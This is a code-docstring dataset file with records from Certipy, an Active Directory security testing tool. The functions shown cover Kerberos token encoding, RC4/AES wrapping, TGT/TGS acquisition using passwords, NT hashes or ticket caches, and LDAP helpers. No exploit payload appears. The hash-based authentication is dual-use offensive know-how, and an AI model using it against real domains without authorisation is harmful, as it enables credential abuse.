certipy/lib/formatting.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/formatting.py
|
MIT
|
def get_authentication_method(
authenticate_header: str,
) -> Literal["NTLM", "Negotiate"]:
"""
Get the authentication method from the WWW-Authenticate header.
Args:
authenticate_header: The WWW-Authenticate header value
Returns:
The authentication method (e.g., "NTLM", "Negotiate")
"""
authenticate_header = authenticate_header.lower()
if "ntlm" in authenticate_header:
return "NTLM"
elif "negotiate" in authenticate_header:
return "Negotiate"
else:
raise ValueError(f"Unsupported authentication method: {authenticate_header}")
|
Get the authentication method from the WWW-Authenticate header.
Args:
authenticate_header: The WWW-Authenticate header value
Returns:
The authentication method (e.g., "NTLM", "Negotiate")
|
get_authentication_method
|
python
|
ly4k/Certipy
|
certipy/lib/http.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/http.py
|
MIT
|
def _convert_to_binary(data: Optional[str]) -> Optional[bytes]:
"""
Convert string hex representation to binary bytes.
Args:
data: String hex representation or None
Returns:
Bytes representation or None if input was None or empty
"""
if not data:
return None
return bytes.fromhex(data)
|
Convert string hex representation to binary bytes.
Args:
data: String hex representation or None
Returns:
Bytes representation or None if input was None or empty
|
_convert_to_binary
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def __init__(self, data: bytes, oid: bytes):
"""
Initialize a mechanism independent token.
Args:
data: Token data
oid: Object identifier for the authentication mechanism
"""
self.data = data
self.token_oid = oid
|
Initialize a mechanism independent token.
Args:
data: Token data
oid: Object identifier for the authentication mechanism
|
__init__
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def from_bytes(data: bytes) -> "MechIndepToken":
"""
Parse a mechanism independent token from its binary representation.
Args:
data: Binary data to parse
Returns:
Parsed MechIndepToken object
Raises:
Exception: If the data format is invalid
"""
if data[0:1] != b"\x60":
raise Exception("Incorrect token data format (expected 0x60)")
data = data[1:]
length, data = MechIndepToken._get_length(data)
token_data = data[0:length]
if token_data[0:1] != b"\x06":
raise Exception("Incorrect OID tag in token data")
oid_length, _ = MechIndepToken._get_length(token_data[1:])
token_oid = token_data[0 : oid_length + 2]
data = token_data[oid_length + 2 :]
return MechIndepToken(data, token_oid)
|
Parse a mechanism independent token from its binary representation.
Args:
data: Binary data to parse
Returns:
Parsed MechIndepToken object
Raises:
Exception: If the data format is invalid
|
from_bytes
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def _get_length(data: bytes) -> Tuple[int, bytes]:
"""
Extract ASN.1 length from the given data.
Args:
data: Binary data containing ASN.1 length
Returns:
Tuple of (length, remaining_data)
"""
if data[0] < 128:
# Short form - length is in the first byte
return data[0], data[1:]
else:
# Long form - first byte (minus 128) indicates number of length bytes
bytes_count = data[0] - 128
length = int.from_bytes(
data[1 : 1 + bytes_count], byteorder="big", signed=False
)
return length, data[1 + bytes_count :]
|
Extract ASN.1 length from the given data.
Args:
data: Binary data containing ASN.1 length
Returns:
Tuple of (length, remaining_data)
|
_get_length
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def _encode_length(length: int) -> bytes:
"""
Encode a length value in ASN.1 format.
Args:
length: Length value to encode
Returns:
ASN.1 encoded length bytes
"""
if length < 128:
# Short form - single byte
return length.to_bytes(1, byteorder="big", signed=False)
else:
# Long form - multiple bytes
length_bytes = length.to_bytes((length.bit_length() + 7) // 8, "big")
return (128 + len(length_bytes)).to_bytes(
1, byteorder="big", signed=False
) + length_bytes
|
Encode a length value in ASN.1 format.
Args:
length: Length value to encode
Returns:
ASN.1 encoded length bytes
|
_encode_length
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def to_bytes(self) -> Tuple[bytes, bytes]:
"""
Convert the token to its binary representation.
Returns:
Tuple of (header_bytes, data_bytes)
"""
complete_token = self.token_oid + self.data
# Create the ASN.1 structure
token_bytes = (
b"\x60" + self._encode_length(len(complete_token)) + complete_token
)
# Return the header and data portions separately
header_end = len(token_bytes) - len(self.data)
return token_bytes[:header_end], self.data
|
Convert the token to its binary representation.
Returns:
Tuple of (header_bytes, data_bytes)
|
to_bytes
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def __init__(self, cipher: type, session_key: Key):
"""
Initialize the KerberosCipher object.
Args:
cipher: Cipher class for encryption/decryption
session_key: Session key for encryption/decryption
"""
self.cipher = create_kerberos_cipher(cipher)
self.session_key = session_key
|
Initialize the KerberosCipher object.
Args:
cipher: Cipher class for encryption/decryption
session_key: Session key for encryption/decryption
|
__init__
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def encrypt(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:
"""
Encrypt data using the appropriate Kerberos cipher.
Automatically selects between RC4 and AES encryption based on the
cipher type.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
"""
if isinstance(self.cipher, GSSAPI_RC4):
return self._encrypt_rc4(data, sequence_number)
else:
return self._encrypt_aes(data, sequence_number)
|
Encrypt data using the appropriate Kerberos cipher.
Automatically selects between RC4 and AES encryption based on the
cipher type.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
|
encrypt
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def decrypt(self, data: bytes) -> bytes:
"""
Decrypt data using the appropriate Kerberos cipher.
Automatically selects between RC4 and AES decryption based on the
cipher type.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
"""
if isinstance(self.cipher, GSSAPI_RC4):
return self._decrypt_rc4(data)
else:
return self._decrypt_aes(data)
|
Decrypt data using the appropriate Kerberos cipher.
Automatically selects between RC4 and AES decryption based on the
cipher type.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
|
decrypt
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def _encrypt_aes(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:
"""
Encrypt data using AES cipher.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
Raises:
ValueError: If RC4 cipher is provided for AES encryption
"""
if isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("RC4 cipher cannot be used for AES encryption")
# Create token structure
token = self.cipher.WRAP()
cipher = self.cipher.cipherType
# Set RRC (Required Role Check) for in-place encryption
rrc = 28
# Set token flags
token["Flags"] = 6 # Privacy and Integrity
token["EC"] = 0 # Extra Count
token["RRC"] = 0 # Initially zero
token["SND_SEQ"] = struct.pack(">Q", sequence_number) # Sequence number
# Encrypt the data with the token
cipher_text = cipher.encrypt(
self.session_key, KG_USAGE_INITIATOR_SEAL, data + token.getData(), None
)
# Update RRC in token
token["RRC"] = rrc
# Apply rotation based on RRC and EC
cipher_text = self.cipher.rotate(cipher_text, token["RRC"] + token["EC"])
return cipher_text, token.getData()
|
Encrypt data using AES cipher.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
Raises:
ValueError: If RC4 cipher is provided for AES encryption
|
_encrypt_aes
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def _decrypt_aes(self, data: bytes) -> bytes:
"""
Decrypt data using AES cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
Raises:
ValueError: If RC4 cipher is provided for AES decryption
"""
if isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("RC4 cipher cannot be used for AES decryption")
# Extract token and cipher text
token = self.cipher.WRAP(data[:16])
rotated_data = data[16:]
# Create cipher instance
cipher = self.cipher.cipherType()
# Unrotate the cipher text
cipher_text = self.cipher.unrotate(rotated_data, token["RRC"] + token["EC"])
# Decrypt the data
plain_text = cipher.decrypt(
self.session_key, KG_USAGE_ACCEPTOR_SEAL, cipher_text
)
# Remove token data from the end
return plain_text[: -(token["EC"] + 16)]
|
Decrypt data using AES cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
Raises:
ValueError: If RC4 cipher is provided for AES decryption
|
_decrypt_aes
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def _encrypt_rc4(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:
"""
Encrypt data using RC4 cipher.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
Raises:
ValueError: If AES cipher is provided for RC4 encryption
"""
if not isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("AES cipher cannot be used for RC4 encryption")
# Add encryption flag byte
data_with_flag = data + b"\x01"
# Create token structure
token = self.cipher.WRAP()
token["SGN_ALG"] = GSS_HMAC
token["SEAL_ALG"] = GSS_RC4
# Set sequence number
token["SND_SEQ"] = struct.pack(">L", sequence_number) + b"\x00" * 4
# Generate random confounding bytes
token["Confounder"] = "".join(
[rand.choice(string.ascii_letters) for _ in range(8)]
).encode()
# Generate signing key
k_sign = HMAC.new(self.session_key.contents, b"signaturekey\0", MD5).digest()
# Generate checksum
sgn_cksum = MD5.new(
struct.pack("<L", 13)
+ token.getData()[:8]
+ token["Confounder"]
+ data_with_flag
).digest()
sgn_cksum = HMAC.new(k_sign, sgn_cksum, MD5).digest()
token["SGN_CKSUM"] = sgn_cksum[:8]
# Generate key material
k_local = bytearray()
for n in bytes(self.session_key.contents):
k_local.append(n ^ 0xF0)
# Generate encryption key
k_crypt = HMAC.new(k_local, struct.pack("<L", 0), MD5).digest()
k_crypt = HMAC.new(k_crypt, struct.pack(">L", sequence_number), MD5).digest()
# Generate sequence key
k_seq = HMAC.new(self.session_key.contents, struct.pack("<L", 0), MD5).digest()
k_seq = HMAC.new(k_seq, token["SGN_CKSUM"], MD5).digest()
# Encrypt sequence number
token["SND_SEQ"] = ARC4.new(k_seq).encrypt(token["SND_SEQ"])
# Encrypt confounder and data
rc4 = ARC4.new(k_crypt)
token["Confounder"] = rc4.encrypt(token["Confounder"])
encrypted_data = rc4.encrypt(data_with_flag)
# Wrap in mechanism independent token
token_data = token.getData() + encrypted_data
final_header, final_data = MechIndepToken(token_data, KRB_OID).to_bytes()
return final_data, final_header
|
Encrypt data using RC4 cipher.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
Raises:
ValueError: If AES cipher is provided for RC4 encryption
|
_encrypt_rc4
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def _decrypt_rc4(self, data: bytes) -> bytes:
"""
Decrypt data using RC4 cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
Raises:
ValueError: If AES cipher is provided for RC4 decryption
Exception: If data format is invalid
"""
if not isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("AES cipher cannot be used for RC4 decryption")
try:
# Parse mechanism independent token
token = MechIndepToken.from_bytes(data)
# Extract WRAP token from first 32 bytes
wrap = self.cipher.WRAP(token.data[:32])
encrypted_data = token.data[32:]
# Generate sequence key
k_seq = HMAC.new(
self.session_key.contents, struct.pack("<L", 0), MD5
).digest()
k_seq = HMAC.new(k_seq, wrap["SGN_CKSUM"], MD5).digest()
# Decrypt sequence number
snd_seq = ARC4.new(k_seq).decrypt(wrap["SND_SEQ"])
# Generate encryption key
k_local = bytearray()
for n in bytes(self.session_key.contents):
k_local.append(n ^ 0xF0)
k_crypt = HMAC.new(k_local, struct.pack("<L", 0), MD5).digest()
k_crypt = HMAC.new(k_crypt, snd_seq[:4], MD5).digest()
# Decrypt data
rc4 = ARC4.new(k_crypt)
plaintext_with_confounder = rc4.decrypt(wrap["Confounder"] + encrypted_data)
# Skip 8-byte confounder and remove trailing flag byte
return plaintext_with_confounder[8:-1]
except Exception as e:
logging.error(f"Error during RC4 decryption: {e}")
raise Exception(f"Failed to decrypt RC4 data: {e}")
|
Decrypt data using RC4 cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
Raises:
ValueError: If AES cipher is provided for RC4 decryption
Exception: If data format is invalid
|
_decrypt_rc4
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def __init__(
self, target: Target, service: str = "HTTP", channel_binding: bool = True
):
"""
Initialize the Kerberos authentication handler.
Args:
target: Target object containing connection and authentication details
service: Service principal name prefix (default: "HTTP")
channel_binding: Whether to use channel binding for EPA compliance
"""
self.target = target
self.service = service
self.channel_binding = channel_binding
|
Initialize the Kerberos authentication handler.
Args:
target: Target object containing connection and authentication details
service: Service principal name prefix (default: "HTTP")
channel_binding: Whether to use channel binding for EPA compliance
|
__init__
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def auth_flow(
self, request: httpx.Request
) -> Generator[httpx.Request, httpx.Response, None]:
"""
Implement the authentication flow for HTTPX.
This generator handles the first request and delegates to retry_with_auth
if authentication is required.
Args:
request: The HTTPX request to authenticate
Yields:
Modified requests with appropriate authentication headers
"""
# Set connection to keep-alive to maintain the authentication state
request.headers["Connection"] = "Keep-Alive"
# Send the initial request
response = yield request
# If server requires authentication, proceed with Kerberos auth
if response.status_code in (401, 407):
yield from self.retry_with_auth(request, response)
|
Implement the authentication flow for HTTPX.
This generator handles the first request and delegates to retry_with_auth
if authentication is required.
Args:
request: The HTTPX request to authenticate
Yields:
Modified requests with appropriate authentication headers
|
auth_flow
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def retry_with_auth(
self, request: httpx.Request, response: httpx.Response
) -> Generator[httpx.Request, httpx.Response, None]:
"""
Retry the request with Kerberos authentication.
This method adds Kerberos SPNEGO authentication header to the request.
Args:
request: The original HTTPX request
response: The HTTPX response requiring authentication
Yields:
Modified request with Kerberos authentication header
Raises:
ValueError: If server doesn't provide an authentication challenge
"""
# Determine header names based on status code (proxy vs direct)
is_proxy = response.status_code == 407
authenticate_header_name = (
"Proxy-Authenticate" if is_proxy else "WWW-Authenticate"
)
authorization_header_name = (
"Proxy-Authorization" if is_proxy else "Authorization"
)
# Check if server sent authentication challenge
authenticate_header = response.headers.get(authenticate_header_name)
if authenticate_header is None:
raise ValueError(
f"No {authenticate_header_name} header found in server response"
)
# Get channel binding data if enabled
channel_binding_data = None
if self.channel_binding:
channel_binding_data = get_channel_binding_data_from_response(response)
if channel_binding_data:
logging.debug("Using channel binding for Kerberos authentication")
else:
logging.debug("Channel binding data not available for this connection")
# Generate Kerberos token
_, _, spnego_blob, _ = get_kerberos_type1(
self.target, self.target.remote_name, self.service, channel_binding_data
)
# Add token to request header
auth_header = f"Negotiate {base64.b64encode(spnego_blob).decode()}"
request.headers[authorization_header_name] = auth_header
# Return the authenticated request
yield request
|
Retry the request with Kerberos authentication.
This method adds Kerberos SPNEGO authentication header to the request.
Args:
request: The original HTTPX request
response: The HTTPX response requiring authentication
Yields:
Modified request with Kerberos authentication header
Raises:
ValueError: If server doesn't provide an authentication challenge
|
retry_with_auth
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def get_kerberos_type1(
target: Target,
target_name: str = "",
service: str = "HOST",
channel_binding_data: Optional[bytes] = None,
signing: bool = False,
) -> Tuple[type, Key, bytes, str]:
"""
Generate a Kerberos Type 1 authentication message (AP_REQ).
Creates a SPNEGO token containing Kerberos AP_REQ that can be used for HTTP
or other protocol authentication. Supports channel binding for EPA.
Args:
target: Target object containing authentication details
target_name: Name of the target server
service: Service type (e.g., "HTTP", "HOST")
channel_binding_data: Optional channel binding token data for EPA
signing: Whether to enable signing and encryption flags
Returns:
Tuple containing:
- Cipher object for encryption
- Session key for future operations
- SPNEGO token as bytes
- Authenticated username
"""
# Get TGS ticket for the service
tgs, cipher, session_key, username, domain = get_tgs(target, target_name, service)
# Create principal for the client
principal = Principal(username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL))
# Create SPNEGO token
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
# Extract ticket from TGS response
tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
_ = ticket.from_asn1(tgs_rep["ticket"])
# Build AP_REQ message
ap_req = AP_REQ()
ap_req["pvno"] = 5 # Protocol version number
ap_req["msg-type"] = e2i(constants.ApplicationTagNumbers.AP_REQ)
ap_req["ap-options"] = constants.encodeFlags([]) # No options by default
seq_set(ap_req, "ticket", ticket.to_asn1)
# Create authenticator
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5 # Version number
authenticator["crealm"] = domain
seq_set(authenticator, "cname", principal.components_to_asn1)
# Add timestamp
now = datetime.datetime.now(datetime.timezone.utc)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
# Set up the GSS-API checksum
authenticator["cksum"] = noValue
authenticator["cksum"]["cksumtype"] = 0x8003 # GSS API checksum type
checksum = CheckSumField()
checksum["Lgth"] = 16
# Set flags for message protection
flags = GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG
if signing:
flags |= GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG
checksum["Flags"] = flags
# Add channel binding data if provided
if channel_binding_data:
checksum["Bnd"] = channel_binding_data
authenticator["cksum"]["checksum"] = checksum.getData()
# Add authorization data for channel binding
if channel_binding_data:
authenticator["authorization-data"] = noValue
authenticator["authorization-data"][0] = noValue
authenticator["authorization-data"][0]["ad-type"] = AUTH_DATA_AP_OPTIONS
authenticator["authorization-data"][0]["ad-data"] = struct.pack(
"<I", KERB_AP_OPTIONS_CBT
)
# Encode and encrypt the authenticator
encoded_authenticator = encoder.encode(authenticator)
encrypted_encoded_authenticator = cipher.encrypt(
session_key, 11, encoded_authenticator, None
)
# Add the encrypted authenticator to the AP_REQ
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
# Add the AP_REQ to the SPNEGO token
blob["MechToken"] = encoder.encode(ap_req)
return cipher, session_key, blob.getData(), username
|
Generate a Kerberos Type 1 authentication message (AP_REQ).
Creates a SPNEGO token containing Kerberos AP_REQ that can be used for HTTP
or other protocol authentication. Supports channel binding for EPA.
Args:
target: Target object containing authentication details
target_name: Name of the target server
service: Service type (e.g., "HTTP", "HOST")
channel_binding_data: Optional channel binding token data for EPA
signing: Whether to enable signing and encryption flags
Returns:
Tuple containing:
- Cipher object for encryption
- Session key for future operations
- SPNEGO token as bytes
- Authenticated username
|
get_kerberos_type1
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def get_tgs(
target: Target,
target_name: str,
service: str = "HOST",
) -> Tuple[bytes, type, Key, str, str]:
"""
Obtain a Ticket Granting Service (TGS) ticket for the specified service.
This function implements a multi-step strategy for acquiring a TGS:
1. Try to use credentials from an existing Kerberos ticket cache (KRB5CCNAME)
2. Request a new TGT using provided credentials if needed
3. Use the TGT to request a service ticket (TGS)
4. Handle encryption type fallbacks for compatibility with different KDCs
Args:
target: Target object with authentication details (username, domain, etc.)
target_name: Hostname of the target server
service: Service type (e.g., "HTTP", "HOST", "LDAP")
Returns:
Tuple containing:
- TGS data (bytes)
- Cipher object for encryption operations
- Session key for subsequent communications
- Authenticated username
- Authenticated domain
Raises:
KerberosError: For Kerberos protocol errors (bad credentials, expired tickets, etc.)
Exception: For general errors (missing cache files, misconfiguration)
"""
# Extract authentication details from target
username = target.username
password = target.password
domain = target.domain
lmhash = _convert_to_binary(target.lmhash) or b""
nthash = _convert_to_binary(target.nthash) or b""
aes_key = _convert_to_binary(target.aes) or b""
kdc_host = target.dc_ip
tgt: Optional[Dict[str, Any]] = None
tgs: Optional[Dict[str, Any]] = None
# Step 1: Try to use existing ticket cache if available
logging.debug("Checking for Kerberos ticket cache")
ccache = None
krb5ccname = os.getenv("KRB5CCNAME")
if krb5ccname:
try:
ccache = CCache.loadFile(krb5ccname)
logging.debug(f"Loaded Kerberos cache from {krb5ccname}")
except Exception as e:
logging.debug(f"Failed to load Kerberos cache: {e}")
if ccache:
# Validate cache and extract information
if not ccache.principal:
raise Exception("No principal found in CCache file")
if not ccache.principal.realm:
raise Exception("No realm/domain found in CCache file")
# Extract domain from cache if needed
ccache_domain = ccache.principal.realm["data"].decode("utf-8")
if not domain:
domain = ccache_domain
logging.debug(f"Domain retrieved from CCache: {domain}")
# Extract username from cache components
ccache_username = "/".join(
map(lambda x: x["data"].decode(), ccache.principal.components)
)
# Try to find appropriate credentials in cache
# First look for the specific service ticket
principal = f"{service}/{target_name.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is None:
# If service ticket not found, look for TGT
principal = f"krbtgt/{domain.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
logging.debug("Using TGT from cache")
else:
logging.debug("No valid credentials found in cache")
else:
tgs = creds.toTGS(principal)
logging.debug(f"Using {service} ticket from cache")
# Validate username from credentials or cache
if creds is not None:
ccache_username = (
creds["client"].prettyPrint().split(b"@")[0].decode("utf-8")
)
logging.debug(
f"Username retrieved from CCache credential: {ccache_username}"
)
elif ccache.principal.components:
ccache_username = ccache.principal.components[0]["data"].decode("utf-8")
logging.debug(
f"Username retrieved from CCache principal: {ccache_username}"
)
# Verify username matches if specified
if username and ccache_username.lower() != username.lower():
logging.warning(
f"Username {username!r} does not match username in CCache {ccache_username!r}"
)
tgt = None
tgs = None
else:
username = ccache_username
# Verify domain matches if specified
if domain and ccache_domain.lower() != domain.lower():
logging.warning(
f"Domain {domain!r} does not match domain in CCache {ccache_domain!r}"
)
# Step 2: Set up the client principal
user_principal = Principal(
username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL)
)
kdc_rep = bytes()
cipher: Optional[type] = None
session_key: Optional[Key] = None
rc4_fallback_attempted = False
# Step 3: Authentication flow - try to get TGT then TGS
while True:
try:
# Step 3.1: Get or use TGT
if tgt is None:
if tgs is None:
# Request new TGT if we don't have one
logging.debug(f"Getting TGT for {username!r}@{domain!r}")
# Check if we have a cached TGT
cache_key = (username, domain, lmhash, nthash, aes_key, kdc_host)
if cache_key in TGT_CACHE:
logging.debug(f"Using cached TGT for {username!r}@{domain!r}")
kdc_rep, cipher, session_key = TGT_CACHE[cache_key]
else:
# Request new TGT
kdc_rep, cipher, _, session_key = getKerberosTGT(
user_principal, password, domain, lmhash, nthash, aes_key, kdc_host # type: ignore
)
# Cache the TGT for future use
TGT_CACHE[cache_key] = (
cast(bytes, kdc_rep),
cast(type, cipher),
cast(Key, session_key),
)
logging.debug(f"Got TGT for {username!r}@{domain!r}")
else:
# If we already have a TGS, no need for TGT
break
else:
# Use existing TGT
kdc_rep = tgt["KDC_REP"]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
# Step 3.2: Get or use TGS
if tgs is None:
# Format the Service Principal Name (SPN)
spn = f"{service}/{target_name}"
server_principal = Principal(
spn,
type=e2i(constants.PrincipalNameType.NT_SRV_INST),
)
logging.debug(f"Getting TGS for {spn!r}")
# Check if we have a cached TGS
cache_key = (spn, domain, kdc_host, kdc_rep, cipher, session_key)
if cache_key in TGS_CACHE:
logging.debug(f"Using cached TGS for {spn!r}")
kdc_rep, cipher, session_key = TGS_CACHE[cache_key]
else:
# Request new TGS
kdc_rep, cipher, _, session_key = getKerberosTGS(
server_principal, domain, kdc_host, kdc_rep, cipher, session_key
)
# Cache the TGS for future use
TGS_CACHE[cache_key] = (kdc_rep, cipher, session_key)
logging.debug(f"Got TGS for {spn!r}")
break
else:
# Use existing TGS
kdc_rep = tgs["KDC_REP"]
cipher = tgs["cipher"]
session_key = tgs["sessionKey"]
break
except KerberosError as e:
# Handle encryption type incompatibility
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP:
# Fall back to RC4 if using password auth without explicit hashes
if (
not rc4_fallback_attempted
and not lmhash
and not nthash
and not aes_key
and password
and not tgt
and not tgs
):
from impacket.ntlm import compute_lmhash, compute_nthash
logging.warning(
"AES encryption not supported by KDC, falling back to RC4"
)
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
rc4_fallback_attempted = True
# Clear cache entries that might have used AES
tgt = None
continue
else:
logging.error(
f"KDC doesn't support the requested encryption type: {e}"
)
raise
else:
logging.error(f"Kerberos error: {e} (Error code: {e.getErrorCode()})")
raise
except Exception as e:
# Handle other exceptions with more detailed error messages
logging.error(f"Error during Kerberos authentication: {e}")
raise
# Step 4: Extract client information from ticket
ticket = decoder.decode(kdc_rep, asn1Spec=TGS_REP())[0]
client_name = Principal()
client_name = client_name.from_asn1(ticket, "crealm", "cname")
# Extract the username and domain from the client name
username = "@".join(str(client_name).split("@")[:-1])
domain = client_name.realm or ""
return kdc_rep, cast(type, cipher), cast(Key, session_key), username, domain
|
Obtain a Ticket Granting Service (TGS) ticket for the specified service.
This function implements a multi-step strategy for acquiring a TGS:
1. Try to use credentials from an existing Kerberos ticket cache (KRB5CCNAME)
2. Request a new TGT using provided credentials if needed
3. Use the TGT to request a service ticket (TGS)
4. Handle encryption type fallbacks for compatibility with different KDCs
Args:
target: Target object with authentication details (username, domain, etc.)
target_name: Hostname of the target server
service: Service type (e.g., "HTTP", "HOST", "LDAP")
Returns:
Tuple containing:
- TGS data (bytes)
- Cipher object for encryption operations
- Session key for subsequent communications
- Authenticated username
- Authenticated domain
Raises:
KerberosError: For Kerberos protocol errors (bad credentials, expired tickets, etc.)
Exception: For general errors (missing cache files, misconfiguration)
|
get_tgs
|
python
|
ly4k/Certipy
|
certipy/lib/kerberos.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/kerberos.py
|
MIT
|
def get_account_type(entry: "LDAPEntry") -> str:
"""
Determine the type of Active Directory account based on sAMAccountType and objectClass.
Args:
entry: LDAP entry containing account attributes
Returns:
Account type as string: "Group", "Computer", "User", "TrustAccount", or "Domain"
"""
account_type = entry.get("sAMAccountType")
object_class = entry.get("objectClass") or []
# Group accounts
if account_type in [268435456, 268435457, 536870912, 536870913]:
return "Group"
# Computer accounts
elif account_type in [805306369]:
return "Computer"
# User accounts (including managed service accounts)
elif (
account_type in [805306368]
or "msDS-GroupManagedServiceAccount" in object_class
or "msDS-ManagedServiceAccount" in object_class
):
return "User"
# Trust accounts
elif account_type in [805306370]:
return "TrustAccount"
# Default to Domain
else:
return "Domain"
|
Determine the type of Active Directory account based on sAMAccountType and objectClass.
Args:
entry: LDAP entry containing account attributes
Returns:
Account type as string: "Group", "Computer", "User", "TrustAccount", or "Domain"
|
get_account_type
|
python
|
ly4k/Certipy
|
certipy/lib/ldap.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/ldap.py
|
MIT
|
def get(self, key: str, default: Any = None) -> Any:
"""
Get an attribute value from the LDAP entry with support for default values.
This method provides convenient access to LDAP attributes and handles several
special cases, including missing attributes and empty lists.
Args:
key: Attribute name to retrieve
default: Value to return if attribute is missing or empty (default: None)
Returns:
Attribute value if present and not empty, otherwise the default value
"""
if key not in self.__getitem__("attributes").keys():
return default
item = self.__getitem__("attributes").__getitem__(key)
# Return default for empty lists
if isinstance(item, list) and len(item) == 0:
return default
return item
|
Get an attribute value from the LDAP entry with support for default values.
This method provides convenient access to LDAP attributes and handles several
special cases, including missing attributes and empty lists.
Args:
key: Attribute name to retrieve
default: Value to return if attribute is missing or empty (default: None)
Returns:
Attribute value if present and not empty, otherwise the default value
|
get
|
python
|
ly4k/Certipy
|
certipy/lib/ldap.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/ldap.py
|
MIT
|
def get_raw(self, key: str) -> Any:
"""
Get the raw (unprocessed) attribute value from the LDAP entry.
Args:
key: Attribute name to retrieve
Returns:
Raw attribute value or None if not present
"""
if key not in self.__getitem__("raw_attributes").keys():
return None
return self.__getitem__("raw_attributes").__getitem__(key)
|
Get the raw (unprocessed) attribute value from the LDAP entry.
Args:
key: Attribute name to retrieve
Returns:
Raw attribute value or None if not present
|
get_raw
|
python
|
ly4k/Certipy
|
certipy/lib/ldap.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/ldap.py
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.